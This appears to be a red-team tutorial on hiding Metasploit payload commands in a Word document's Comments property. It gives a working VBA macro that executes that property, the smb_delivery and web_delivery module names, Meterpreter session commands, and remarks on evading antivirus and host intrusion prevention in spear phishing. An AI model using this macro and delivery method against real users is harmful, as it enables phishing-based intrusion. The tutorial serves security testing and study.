Document properties in Microsoft office usually contain information related to the document and various other metadata details. However this location can be used to store commands that will execute payloads that are hosted on an SMB or HTTP server. This will provide some initial access to the network during a spear phishing or red team assessment.

The Metasploit SMB delivery module can be used to serve payloads in the form of DLL files and PowerShell via an SMB server.

exploit/windows/smb/smb_delivery

The module can be configured easily with the following parameters:

Metasploit SMB Delivery Payload Configuration

Metasploit SMB Delivery Payload Configuration

The command that will need to be executed on the target will be generated and a server will start to wait for any incoming connections.

Metasploit SMB Delivery Payload

Metasploit SMB Delivery Payload

Since the payload it is a DLL file the rundll32 utility is needed to perform the execution. The command above needs to be added in the comment section of a Word document.

Document Properties Payload

Word Document Properties – Payload

The document must contain a Macro that upon execution will trigger the command that was added in the comments area.

Sub pentestlab()

Dim p As DocumentProperty

For Each p In ActiveDocument.BuiltInDocumentProperties
If p.Name = "Comments" Then
Shell (p.Value)

End If
Next

End Sub
Document Properties - Word Macro

Document Properties – Word Macro

When the user open the Macro-enabled Word document and run it a Meterpreter session will open.

Metasploit SMB Delivery Meterpreter Session

Metasploit SMB Delivery Meterpreter Session

Interaction with the sessions can start by executing the following commands:

sessions
sessions -i 1
Metasploit SMB Delivery - Sessions

Metasploit SMB Delivery – Sessions

Metasploit SMB Delivery - Meterpreter

Metasploit SMB Delivery – Meterpreter

Alternative the same technique can be implemented for payloads that will be delivered via PowerShell.

SMB Delivery PowerShell Payload

SMB Delivery PowerShell Payload

The module will generate a PowerShell command which is proxy-aware and it will run the payload from a UNC path.

Metasploit SMB Delivery - PowerShell Payload

Metasploit SMB Delivery – PowerShell Payload

Again the generated PowerShell command will need to be imported to the comments of the Word document.

Document Properties PowerShell Payload

Document Properties PowerShell Payload

A Meterpreter session will open when the Macro will executed.

Metasploit SMB Delivery - Meterpreter via PowerShell Payload

Metasploit SMB Delivery – Meterpreter via PowerShell Payload

For organisation that implement deep packet inspection in their hosts the Metasploit web delivery module can serve PowerShell payloads and pin all the traffic with a custom certificate. This will make the attack more effective in a spear phishing scenario.

exploit/multi/script/web_delivery
Metasploit Web Delivery - PowerShell Payload via Document Properties

Metasploit Web Delivery – Meterpreter via Document Properties

Conclusion

This technique provides an easy way to hide malicious commands inside the document properties of a Microsoft office document. The Macro which triggers the payload doesn’t considered to be malicious and the comments section are not checked by various antivirus vendors as it is indicated by uploading the document to VirusTotal.

Virus Total Results - Document Properties

Virus Total Results – Payload in Document Properties

Therefore if the target user is somehow convinced to open and run the macro then the only thing that will stop this attack is a host intrusion prevention system which will drop the Meterpreter connection as nothing touches the disk. However it is possible to evade the HIPS by using a certificate to encrypt the connection. Details of this technique can be found in the article: Bypassing Antivirus & Host Intrusion Prevention Systems.

Advertisements